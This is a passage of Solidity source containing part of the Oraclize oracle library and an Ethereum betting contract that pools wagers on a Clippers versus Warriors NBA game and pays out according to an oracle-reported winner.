true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { throw; } uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract nbagame is usingOraclize { address owner; address[2] public BOOKIES = [0x0161C8d35f0B603c7552017fe9642523f70d7B6A, 0x8B756b564d6FDFC1d0164174c514B0431ACC2409]; uint public constant NUM_TEAMS = 2; string[NUM_TEAMS] public TEAM_NAMES = ["Los Angeles Clippers", "Golden State Warriors"]; enum TeamType { LAClippers, GSWarriors, None } TeamType public winningTeam = TeamType.None; uint public constant BOOKIE_POOL_COMMISSION = 10; uint public constant MINIMUM_BET = 0.01 ether; uint public constant BETTING_OPENS = 1519095900; uint public constant BETTING_CLOSES = 1519355100; uint public constant PAYOUT_ATTEMPT_INTERVAL = 43200; uint public constant BET_RELEASE_DATE = 1519527900; uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL; bool public scheduledPayout; bool public payoutCompleted; struct Better { uint[NUM_TEAMS] amountsBet; } mapping(address => Better) betterInfo; address[] betters; uint[NUM_TEAMS] public totalAmountsBet; uint public numberOfBets; uint public totalBetAmount; event BetMade(); modifier canPerformPayout() { if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _; } modifier bettingIsClosed() { if (now > BETTING_CLOSES) _; } modifier onlyBookieLevel() { require( BOOKIES[0] == msg.sender || BOOKIES[1] == msg.sender ); _; } function nbagame() public { owner = msg.sender; pingOracle(PAYOUT_DATE - now); } function pingOracle(uint pingDelay) private { oraclize_query(pingDelay, "WolframAlpha", "Clippers vs Warriors on February 22, 2018 Winner"); } function __callback(bytes32 queryId, string result, bytes proof) public { require(payoutCompleted == false); require(msg.sender == oraclize_cbAddress()); if (keccak256(TEAM_NAMES[0]) == keccak256(result)) { winningTeam = TeamType(0); } else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) { winningTeam = TeamType(1); } if (winningTeam == TeamType.None) { if (now >= BET_RELEASE_DATE) return releaseBets(); return pingOracle(PAYOUT_ATTEMPT_INTERVAL); } performPayout(); } function getUserBets() public constant returns(uint[NUM_TEAMS]) { return betterInfo[msg.sender].amountsBet; } function releaseBets() private { uint storedBalance = this.balance; for (uint k = 0; k < betters.length; k++) { uint totalBet = betterInfo[betters[k]].amountsBet[0] + betterInfo[betters[k]].amountsBet[1]; betters[k].transfer(totalBet * storedBalance / 